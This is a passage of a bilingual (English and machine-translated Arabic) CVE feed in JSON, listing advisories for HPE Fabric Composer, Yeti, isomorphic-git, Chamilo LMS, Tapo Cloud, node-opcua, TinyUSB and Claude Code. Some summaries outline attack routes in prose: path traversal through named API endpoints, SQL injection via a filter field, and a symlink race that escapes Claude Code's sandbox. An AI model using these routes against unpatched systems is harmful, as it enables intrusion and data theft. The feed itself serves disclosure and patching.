ثغرة في أحد مكونات HPE Networking Fabric Composer. قد يتيح الاستغلال الناجح لمهاجم متواجد على نفس الشبكة دون مصادقة تنفيذ شيفرة عشوائية على النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95734","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:21Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Authenticated Sensitive Information Disclosure in HPE Networking Fabric Composer API","ar":"كشف معلومات حساسة لمهاجم يملك حسابًا مصادقًا عليه في واجهة برمجة التطبيقات (API) الخاصة بـ HPE Networking Fabric Composer"},"summary":{"en":"A sensitive information disclosure vulnerability in the API of HPE Networking Fabric Composer could allow an authenticated low-privileged user to access sensitive information beyond what is authorized by the user's existing privilege level. Successful exploitation could allow an attacker to obtain sensitive credentials stored on the affected system.","ar":"ثغرة كشف معلومات حساسة في واجهة برمجة التطبيقات (API) الخاصة بـ HPE Networking Fabric Composer قد تسمح لمستخدم يملك حسابًا مصادقًا عليه وذي صلاحيات منخفضة بالوصول إلى معلومات حساسة تتجاوز ما هو مصرح به لمستوى صلاحيات المستخدم الحالي. قد يتيح الاستغلال الناجح للمهاجم الحصول على بيانات اعتماد حساسة مخزنة على النظام المتأثر."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95735","cvss":8.7,"vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:N","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:21Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Improper Certificate Validation in HPE Networking Fabric Composer","ar":"التحقق غير السليم من الشهادات في HPE Networking Fabric Composer"},"summary":{"en":"An improper certificate validation vulnerability exists in HPE Networking Fabric Composer. Successful exploitation could allow an unauthenticated remote attacker, under certain preconditions outside the attacker's control, to obtain sensitive information, including credentials.","ar":"توجد ثغرة تحقق غير سليم من الشهادات في HPE Networking Fabric Composer. قد يتيح الاستغلال الناجح لمهاجم عن بُعد دون مصادقة، في ظل شروط مسبقة معين خارجة عن سيطرة المهاجم، الحصول على معلومات حساسة، بما في ذلك بيانات الاعتماد."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95736","cvss":8.3,"vector":"CVSS:3.1/AV:A/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H","cwe":null,"tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:21Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Unauthenticated Adjacent Improper Certificate Validation Vulnerabilities in HPE Networking Fabric Composer","ar":"ثغرات تحقق غير سليم من الشهادات للمتصلين المجاورين ودون مصادقة في HPE Networking Fabric Composer"},"summary":{"en":"Improper certificate validation vulnerabilities exist in the affected interface of HPE Networking Fabric Composer, which could be exploited by an unauthenticated adjacent attacker if certain preconditions outside of the attacker's control are met. Successful exploitation could allow an attacker to intercept sensitive information.","ar":"توجد ثغرات تحقق غير سليم من الشهادات في الواجهة المتأثرة من HPE Networking Fabric Composer، والتي يمكن استغلالها بواسطة مهاجم مجاور دون مصادقة إذا تم استيفاء شروط مسبقة معينة خارجة عن سيطرة المهاجم. قد يتيح الاستغلال الناجح لمهاجم اعتراض معلومات حساسة."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-95737","cvss":8.2,"vector":"CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H","cwe":null,"tags":["LPE"],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:21Z","product":"Hewlett Packard Enterprise (HPE) Fabric Composer","affected":[["7.4.0 – 7.4.0",null],["7.0.0 – 7.3.4",null]],"title":{"en":"Local Privilege Escalation in HPE Networking Fabric Composer","ar":"تصعيد الصلاحيات المحلي في HPE Networking Fabric Composer"},"summary":{"en":"A privilege escalation vulnerability exists in the underlying operating system of HPE Networking Fabric Composer. Successful exploitation could allow a local attacker with high privileges to gain elevated privileges on the underlying host operating system.","ar":"توجد ثغرة تصعيد صلاحيات في نظام التشغيل الأساسي لـ HPE Networking Fabric Composer. قد يتيح الاستغلال الناجح لمهاجم محلي ذي صلاحيات عالية اكتساب صلاحيات مرتفعة على نظام تشغيل المضيف الأساسي."},"refs":[["https://support.hpe.com/hpesc/public/docDisplay?docId=hpesbnw05172en_us&docLocale=en_US","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hewlett-packard-enterprise-hpe-fabric-composer"},{"id":"CVE-2026-93325","cvss":7.3,"vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-693","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T20:18:19Z","product":"Docker Docker Buildx","affected":[["0.21.0 – <0.37.2","0.37.2"]],"title":{"en":"Bake filesystem entitlement consent is skipped under --progress=rawjson in Docker Buildx","ar":"تخطي موافقة استحقاق نظام الملفات تحت --progress=rawjson في Docker Buildx"},"summary":{"en":"Buildx bake requires the user to grant entitlements with --allow or an interactive prompt before a build reaches outside the working directory. Under --progress=rawjson that consent step is skipped.","ar":"تتطلب أداة Buildx bake من المستخدم منح الاستحقاقات باستخدام --allow أو مطالبة تفاعلية قبل أن يصل البناء إلى خارج مجلد العمل. وتحت المعلمة --progress=rawjson، يتم تخطي خطوة الموافقة هذه."},"refs":[["https://github.com/docker/buildx/releases/tag/v0.37.2","patch"],["https://github.com/docker/buildx/security/advisories/GHSA-gwr2-q96m-6682","advisory"],["https://www.zerodayinitiative.com/advisories/ZDI-CAN-31688/","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"docker-buildx"},{"id":"CVE-2026-63502","cvss":8.3,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:17Z","product":"yeti-platform yeti","affected":[],"title":{"en":"Yeti: Path traversal in ExportTask name allows authenticated arbitrary file read and write","ar":"Yeti: اجتياز المسار في اسم ExportTask يتيح قراءة وكتابة ملفات عشوائية لمهاجم مصادق عليه"},"summary":{"en":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. Prior to 2.5.1, YETI derives ExportTask.file_name from the user-controlled task name and passes it to core/clients/file_storage/classes/local_storage.py without sanitizing traversal sequences or enforcing path confinement. A low-privileged authenticated user using the default local storage backend can call POST /api/v2/tasks/export/new with a traversal name and use ExportTask.file_contents through GET /api/v2/tasks/export/{export_id}/content to read files accessible to the YETI service account. Running ExportTask.run() can also write attacker-controlled export output to an attacker-selected writable path. The impact depends on the service account's filesystem permissions, and universal code execution is not established. This issue is fixed in version 2.5.1.","ar":"تقوم أداة Yeti بسد الفجوة بين ممارسي CTI وDFIR من خلال توفير منصة وخط أنابيب لاستخبارات الأدلة الجنائية. قبل الإصدار 2.5.1، تستمد YETI قيمة ExportTask.file_name من اسم المهمة الخاضع لسيطرة المستخدم وتمررها إلى core/clients/file_storage/classes/local_storage.py دون تعقيم تسلسلات الاجتياز أو فرض تقييد المسار. يمكن لمستخدم مصادق عليه ذي صلاحيات منخفضة باستخدام خلفية التخزين المحلي الافتراضية استدعاء POST /api/v2/tasks/export/new مع اسم يحتوي على اجتياز واستخدام ExportTask.file_contents عبر GET /api/v2/tasks/export/{export_id}/content لقراءة الملفات القابلة للوصول بواسطة حساب خدمة YETI. يمكن أن تؤدي تشغيل ExportTask.run() أيضًا إلى كتابة مخرجات تصدير يتحكم فيها المهاجم إلى مسار قابل للكتابة يختاره المهاجم. يعتمد التأثير على أذونات نظام الملفات لحساب الخدمة، ولا يتم تأسيس تنفيذ شيفرة عام. تمت إصلاح هذه المشكلة في الإصدار 2.5.1."},"refs":[["https://github.com/yeti-platform/yeti/commit/bfd7c2424dc05dea2d46b5b106b5071f959d5d5a","ref"],["https://github.com/yeti-platform/yeti/pull/1280","ref"],["https://github.com/yeti-platform/yeti/releases/tag/2.5.1","ref"],["https://github.com/yeti-platform/yeti/security/advisories/GHSA-4q3w-w2g5-8wqq","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"yeti-platform-yeti"},{"id":"CVE-2026-63500","cvss":7.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:L","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:16Z","product":"yeti-platform yeti","affected":[],"title":{"en":"Yeti: Path traversal in DFIQ uuid allows authenticated arbitrary file write during archive export","ar":"Yeti: اجتياز المسار في معرف DFIQ يتيح كتابة ملفات عشوائية لمهاجم مصادق عليه أثناء تصدير الأرشيف"},"summary":{"en":"Yeti bridges the gap between CTI and DFIR practitioners by providing a Forensics Intelligence platform and pipeline. Prior to 2.5.1, core/schemas/dfiq.py accepts an unvalidated uuid from DFIQ YAML through POST /api/v2/dfiq/from_yaml, and core/web/apiv2/dfiq.py later interpolates that stored value into an archive filesystem path in POST /api/v2/dfiq/to_archive. A low-privileged authenticated user can import a DFIQ object whose UUID contains traversal sequences and trigger archive export, causing attacker-controlled content with a .yaml suffix to be written outside the intended temporary archive directory. The impact is limited by paths writable by the YETI service account, and the separate DFIQ archive-import zip-slip candidate is not part of this vulnerability. This issue is fixed in version 2.5.1.","ar":"تقوم أداة Yeti بسد الفجوة بين ممارسي CTI وDFIR من خلال توفير منصة وخط أنابيب لاستخبارات الأدلة الجنائية. قبل الإصدار 2.5.1، تقبل core/schemas/dfiq.py معرفاً غير محقق من DFIQ YAML عبر POST /api/v2/dfiq/from_yaml، وتقوم core/web/apiv2/dfiq.py لاحقاً بإدراج هذه القيمة المخزنة في مسار نظام ملفات الأرشيف في POST /api/v2/dfiq/to_archive. يمكن لمستخدم مصادق عليه ذي صلاحيات منخفضة استيراد كائن DFIQ يحتوي معرفه على تسلسلات اجتياز وتشغيل تصدير الأرشيف، مما يتسبب في كتابة محتوى يتحكم فيه المهاجم مع لاحقة .yaml خارج مجلد الأرشيف المؤقت المقصود. يتم تقييد التأثير بواسطة المسارات القابلة للكتابة بواسطة حساب خدمة YETI، ومرشح استيراد أرشيف DFIQ المنفصل غير مشمول في هذه الثغرة. تمت إصلاح هذه المشكلة في الإصدار 2.5.1."},"refs":[["https://github.com/yeti-platform/yeti/commit/8e36bd0000f98f625540e37eeb9f304c684e8394","ref"],["https://github.com/yeti-platform/yeti/pull/1279","ref"],["https://github.com/yeti-platform/yeti/releases/tag/2.5.1","ref"],["https://github.com/yeti-platform/yeti/security/advisories/GHSA-6xf2-8436-rgvf","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"yeti-platform-yeti"},{"id":"CVE-2026-63395","cvss":8.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","cwe":"CWE-22","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:14Z","product":"isomorphic-git isomorphic-git","affected":[],"title":{"en":"isomorphic-git: Arbitrary file write outside the working tree via a directory symlink during checkout (potential RCE)","ar":"isomorphic-git: كتابة ملفات عشوائية خارج شجرة العمل عبر رابط رمزي للمجلد أثناء الدفع (RCE محتمل)"},"summary":{"en":"isomorphic-git is a pure JavaScript implementation of Git for Node.js and browsers. Prior to 1.38.6, isomorphic-git's git.checkout writes new child paths through symlinked leading directory components without checking them. A malicious repository can first place a directory symlink and later replace the tree state with a child file beneath that path; the usual trigger is a clone followed by a later pull, while a single clone can trigger the issue when a symlink already exists or the consuming application accesses the tree. With Node fs on Linux or macOS, the operating system can resolve the write outside the working tree, permitting arbitrary host file writes and possible code execution. Node fs on Windows usually blocks the symlink plant without additional privilege, and browser or in-memory providers limit impact to their virtual filesystem and are affected only when they implement symlink creation and following. This issue is fixed in version 1.38.6.","ar":"أداة isomorphic-git هي تطبيق مكتوب بلغة JavaScript الخالصة لبرنامج Git لأنظمة Node.js والمتصفحات. قبل الإصدار 1.38.6، تكتب دالة git.checkout في isomorphic-git مسارات فرعية جديدة من خلال مكونات المجلدات الرئيسية المرتبطة برمز رمزي دون التحقق منها. يمكن لمستودع خبيث أولاً وضع رابط رمزي للمجلد ثم استبدال حالة الشجرة بملف فرعي تحت هذا المسار؛ والمشغل المعتاد هو عملية استنساخ يتبعها سحب لاحق، بينما يمكن أن يؤدي استنساخ واحد إلى تشغيل المشكلة عندما يكون الرابط الرمزي موجوداً مسبقاً أو يقوم التطبيق المستهلك بالوصول إلى الشجرة. مع استخدام Node fs على أنظمة Linux أو macOS، يمكن لنظام التشغيل حل عملية الكتابة خارج شجرة العمل، مما يسمح بكتابة ملفات عشوائية على المضيف وإمكانية تنفيذ شيفرة. عادة ما يحظر Node fs على أنظمة Windows زرع الرابط الرمزي بدون صلاحيات إضافية، وتحد مزودات المتصفح أو الذاكرة التأثير على نظام الملفات الافتراضي الخاص بها وتتأثر فقط عندما تنفذ إنشاء الروابط الرمزية وتتبعها. تمت إصلاح هذه المشكلة في الإصدار 1.38.6."},"refs":[["https://github.com/isomorphic-git/isomorphic-git/commit/823843d1cd19182df79bc907c767f5bcecb39a0b","ref"],["https://github.com/isomorphic-git/isomorphic-git/pull/2370","ref"],["https://github.com/isomorphic-git/isomorphic-git/releases/tag/v1.38.6","ref"],["https://github.com/isomorphic-git/isomorphic-git/security/advisories/GHSA-9qw7-j9xw-fv9c","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"isomorphic-git"},{"id":"CVE-2026-45146","cvss":7.2,"vector":"CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H","cwe":"CWE-89","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:13Z","product":"chamilo chamilo-lms","affected":[],"title":{"en":"Chamilo LMS: Blind SQL Injection in model.ajax.php via filters[groupOp] authentificated","ar":"Chamilo LMS: حقن SQL أعمى في model.ajax.php عبر filters[groupOp] لمستخدم مصادق عليه"},"summary":{"en":"Chamilo LMS is an open-source learning management system. Prior to 1.11.40 and 2.0.1, an authenticated administrator can call the get_sessions action in /main/inc/ajax/model.ajax.php with _search=true and a crafted JSON filters parameter whose groupOp field contains SQL syntax. Because groupOp is not restricted to the expected AND or OR operators before it is incorporated into query logic, attacker-controlled input is interpreted by the database and enables blind or time-based SQL injection. Successful exploitation can disclose sensitive user, course, session, configuration, password-reset, and administrative data, modify or delete records subject to database privileges, and cause denial of service through expensive delayed queries. This issue is fixed in versions 1.11.40 and 2.0.1.","ar":"نظام Chamilo LMS هو نظام إدارة تعلم مفتوح المصدر. قبل الإصدارين 1.11.40 و2.0.1، يمكن لمسؤول مصادق عليه استدعاء إجراء get_sessions في /main/inc/ajax/model.ajax.php مع تعيين _search=true ومعلمة مرشحات JSON مصممة بحيث يحتوي حقل groupOp على صيغة SQL. نظراً لعدم تقييد groupOp بمشغلي AND أو OR المتوقعين قبل دمجها في منطق الاستعلام، يتم تفسير الإدخال الخاضع لسيطرة المهاجم بواسطة قاعدة البيانات ويتيح حقن SQL أعمى أو مستنداً على الوقت. قد يفشي الاستغلال الناجح بيانات مستخدمين، ودورات تعليمية، وجلسات، وتكوينات، وإعادة تعيين كلمات المرور، وبيانات إدارية حساسة، أو تعديل أو حذف السجلات الخاضعة لأصناف صلاحيات قاعدة البيانات، والتسبب في حجب الخدمة من خلال استعلامات بطيئة ومكلفة. تمت إصلاح هذه المشكلة في الإصدارين 1.11.40 و2.0.1."},"refs":[["https://github.com/chamilo/chamilo-lms/commit/4472f3089bbbca1b4713bfd7059907676b80d07f","ref"],["https://github.com/chamilo/chamilo-lms/commit/7cc961d60ac27eaccd6bcc8db201de2c65adfdf3","ref"],["https://github.com/chamilo/chamilo-lms/releases/tag/v1.11.40","ref"],["https://github.com/chamilo/chamilo-lms/releases/tag/v2.0.1","ref"],["https://github.com/chamilo/chamilo-lms/security/advisories/GHSA-prqp-8x29-cr88","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"chamilo-lms"},{"id":"CVE-2026-105822","cvss":8.3,"vector":"CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:N/VA:H/SC:L/SI:N/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-918","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:06Z","product":"TP-Link Systems Inc. Tapo Cloud Service","affected":[],"title":{"en":"Server-Side Request Forgery in Tapo Cloud MQTT Proxy","ar":"تزوير الطلبات من جانب الخادم في Tapo Cloud MQTT Proxy"},"summary":{"en":"The Tapo Cloud MQTT proxy contains a server-side request forgery (SSRF) vulnerability because it accepts a user-controlled host value without sufficient input validation. An attacker may exploit this vulnerability to cause the Tapo Cloud service to send requests to an attacker-controlled server. Successful exploitation may cause the Tapo Cloud service to send a request to an attacker-controlled server, exposing the internal information and causing potential Distributed Denial-of-Service (DDoS).","ar":"يحتوي خادم Tapo Cloud MQTT proxy على ثغرة تزوير الطلبات من جانب الخادم (SSRF) لأنه يقبل قيمة مضيف يخضع لسيطرة المستخدم دون التحقق الكافي من المدخلات. قد يستغل مهاجم هذه الثغرة متسبباً في قيام خدمة Tapo Cloud بإرسال طلبات إلى خادم يتحكم فيه المهاجم. قد يتسبب الاستغلال الناجح في إرسال خدمة Tapo Cloud طلباً إلى خادم يتحكم فيه المهاجم، مما يكشف المعلومات الداخلية ويسبب احتمال حدوث حجب الخدمة الموزع (DDoS)."},"refs":[["https://www.tp-link.com/us/support/faq/5370/","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"tp-link-systems-inc-tapo-cloud-service"},{"id":"CVE-2026-105821","cvss":8.3,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","cwe":"CWE-862","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:18:05Z","product":"TP-Link Systems Inc. Tapo Cloud Service","affected":[],"title":{"en":"Broken Access Control Leading to Cross-Device Token Issuance in Tapo Cloud MQTT Proxy","ar":"تحكم معطوب في الوصول يؤدي إلى إصدار رموز مميزة عبر الأجهزة في Tapo Cloud MQTT Proxy"},"summary":{"en":"The Tapo Cloud MQTT broker contains a broken access control vulnerability in a proxy topic used by authenticated Tapo devices to request service tokens. The broker does not verify that the device ID supplied in a proxy request belongs to the authenticated device. An attacker who owns a Tapo device and knows another device's ID may obtain a device token scoped to the target device and use it to upload attacker-controlled content to the target user's Tapo Cloud storage. The content may then be presented in the Tapo app as a legitimate event. Successful exploitation may allow an attacker to upload attacker-controlled content that is presented to a target user as a legitimate Tapo event, retrieve internal service information through crafted proxy requests, or abuse Tapo Cloud outbound request capability in activity that could affect service availability.","ar":"يحتوي وسيط Tapo Cloud MQTT على ثغرة تحكم معطوب في الوصول في موضوع وكيل تستخدمه أجهزة Tapo المصادق عليها لطلب رموز الخدمة. لا يتحقق الوسيط من أن معرف الجهاز المقدم في طلب الوكيل ينتمي إلى الجهاز المصادق عليه. يمكن لمهاجم يمتلك جهاز Tapo ويعرف معرف جهاز آخر الحصول على رمز مميز للجهاز مخصص للجهاز المستهدف واستخدامه لتحميل محتوى يتحكم فيه المهاجم إلى تخزين Tapo Cloud الخاص بالمستخدم المستهدف. قد يُعرض المحتوى بعد ذلك في تطبيق Tapo كحدث مشروع. قد يتيح الاستغلال الناجح لمهاجم تحميل محتوى يتحكم فيه المهاجم يتم عرضه على المستخدم المستهدف كحدث Tapo مشروع، أو استرجاع معلومات الخدمة الداخلية من خلال طلبات وكيل مصممة، أو إساءة استخدام قدرة طلبات Tapo Cloud الصادرة في نشاط قد يؤثر على توفر الخدمة."},"refs":[["https://www.tp-link.com/us/support/faq/5370/","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"tp-link-systems-inc-tapo-cloud-service"},{"id":"CVE-2026-61495","cvss":7,"vector":"CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-787","tags":[],"zero":false,"exploited":false,"status":"patched","published":"2026-11-03T20:15:11Z","product":"hathach TinyUSB","affected":[["0 – 0.21.0",null]],"title":{"en":"TinyUSB 0.21.0 Out-of-Bounds Write via mtp_container_get_string()","ar":"TinyUSB 0.21.0: كتابة خارج الحدود عبر mtp_container_get_string()"},"summary":{"en":"TinyUSB through 0.21.0, fixed in commit e85c2b8, contains an out-of-bounds write vulnerability in the MTP device class helper mtp_container_get_string() in src/class/mtp/mtp.h that allows a malicious USB host to corrupt adjacent memory by supplying a crafted MTP string with an unbounded character count. Attackers can exploit the unchecked memcpy operation copying up to 510 bytes into a fixed-size destination buffer to achieve code execution or cause a denial of service on the TinyUSB MTP device.","ar":"يحتوي TinyUSB حتى الإصدار 0.21.0، والمُصحح في الالتزام e85c2b8، على ثغرة كتابة خارج الحدود في مساعد فئة أجهزة MTP الدالة mtp_container_get_string() في src/class/mtp/mtp.h والتي تسمح لمضيف USB خبيث بإفساد الذاكرة المجاورة من خلال توفير سلسلة MTP مُصممة بعلامات عد أحرف غير مقيدة. يمكن للمهاجمين استغلال عملية نسخ memcpy غير المتحقق منها والتي تنسخ ما يصل إلى 510 بايت إلى مخزن مؤقت وجهة ذو حجم ثابت لتحقيق تنفيذ أوامر أو التسبب في حجب الخدمة على جهاز TinyUSB MTP."},"refs":[["https://github.com/hathach/tinyusb/commit/e85c2b8affa1efbf00d398d59e7a87d3e61cc4a9","patch"],["https://www.vulncheck.com/advisories/tinyusb-out-of-bounds-write-via-mtp-container-get-string","advisory"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"hathach-tinyusb"},{"id":"CVE-2026-95860","cvss":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","cwe":"CWE-285","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:11:38Z","product":"node-opcua node-opcua","affected":[],"title":{"en":"node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions","ar":"node-opcua: تجاوز الفشل المفتوح لـ RBAC على مستوى مساحة الأسماء - تجاوز الكتابة/الاستدعاء المجهول عبر DefaultRolePermissions غير المرتبط"},"summary":{"en":"node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.","ar":"تعد node-opcua تنفيذًا لـ OPC UA بلغة TypeScript وNode.js. من الإصدار 2.42.0 حتى 2.180.0، لا يتم الالتزام بالتحكم في الوصول على مستوى مساحة الأسماء المُكوّن من خلال setDefaultRolePermissions بواسطة مسار فرض وقت التشغيل للعقد التي ليس لها صلاحيات RolePermissions صريحة لكل عقدة. تقرأ SessionContext.getApplicableRolePermissions قيمة بيانات تعريف DefaultRolePermissions مفقودة أو فارغة بدلاً من حقل مساحة الأسماء المُكوّن، ويتم التعامل مع النتيجة الفارغة بتساهل. ونتيجة لذلك، يمكن لعميل شبكة مجهول كتابة متغيرات باستخدام وصول CurrentWrite أو استدعاء طرق مرتبطة عندما يقوم المشغل بتكوين افتراضي تقييدي لمساحة الأسماء والاعتماد على الوراثة. الخوادم التي ليس لها سياسة مُعلنة، والعقد التي لها صلاحيات صريحة لكل عقدة، وبيانات تعريف مساحة الأسماء البرمجية المرتبطة بشكل صحيح خارج حالة تجاوز المصادقة. تم إصلاح هذه المشكلة في الإصدار 2.180.0."},"refs":[["https://github.com/node-opcua/node-opcua/security/advisories/GHSA-xggf-m53x-jc3f","ref"],["https://github.com/node-opcua/node-opcua/pull/1580","ref"],["https://github.com/node-opcua/node-opcua/commit/0261e873900800983c622e01120f484dc6063698","ref"],["https://github.com/node-opcua/node-opcua/releases/tag/v2.180.0","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"node-opcua"},{"id":"CVE-2026-88968","cvss":7.7,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-59","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:08:47Z","product":"anthropics claude-code","affected":[],"title":{"en":"Claude Code: TOCTOU Race in Edit Tool Allows File Writes Outside the Workspace","ar":"Claude Code: ثغرة سباق تماثل التوقيت في أداة التحرير تسمح كتابة الملفات خارج مساحة العمل"},"summary":{"en":"Claude Code is an agentic coding tool. Prior to 2.1.251, the Edit tool validates a target using pathname and symlink resolution that is not bound to the underlying directory inode or file descriptor. On macOS, attacker-controlled code running in the Bash sandbox can atomically replace an in-workspace parent directory with a symlink after validation, causing the unsandboxed Edit implementation to overwrite a user-writable file outside the workspace. Exploitation requires attacker-controlled code to run inside the sandbox, such as from a malicious repository or dependency script. This issue is fixed in version 2.1.251.","ar":"أداة Claude Code هي أداة برمجة تعتمد على الوكلاء. قبل الإصدار 2.1.251، تقوم أداة التحرير (Edit) بالتحقق من الهدف باستخدام مسار وحدات الرموز (symlink) غير المرتبطة بـ inode الدليل الأساسي أو بوصف الملف. على نظام macOS، يمكن للشيفرة التي يتحكم بها المهاجم وتعمل داخل صندوق Bash الرملي استبدال دليل أب داخل مساحة العمل بوحدة رموز بعد التحقق بشكل ذري، مما يتسبب في قيام تنفيذ التحرير غير الخاضع للحماية بالكتابة فوق ملف قابل للكتابة بواسطة المستخدم خارج مساحة العمل. يتطلب الاستغلال تشغيل شيفرة يتحكم بها المهاجم داخل الصندوق الرملي، مثل مستودع خبيث أو سكريبت تبعيات. تم إصلاح هذه المشكلة في الإصدار 2.1.251."},"refs":[["https://github.com/anthropics/claude-code/security/advisories/GHSA-5xjx-9qx6-jcrv","ref"],["https://github.com/anthropics/claude-code/releases/tag/v2.1.251","ref"]],"epss":null,"kevAdded":null,"kevDue":null,"kevAction":null,"ransomware":false,"kevActionAr":"","machineTranslated":true,"productSlug":"anthropics-claude-code"},{"id":"CVE-2026-88066","cvss":7.5,"vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","cwe":"CWE-427","tags":[],"zero":false,"exploited":false,"status":"unknown","published":"2026-11-03T20:07:52Z","product":"anthropics claude-code","affected":[],"title":{"en":"Claude Desktop: Uncontrolled Search Path Enables Arbitrary Code Execution via Malicious Git Executable","ar":"Claude Desktop: مسار بحث غير متحكم به يتيح تنفيذ 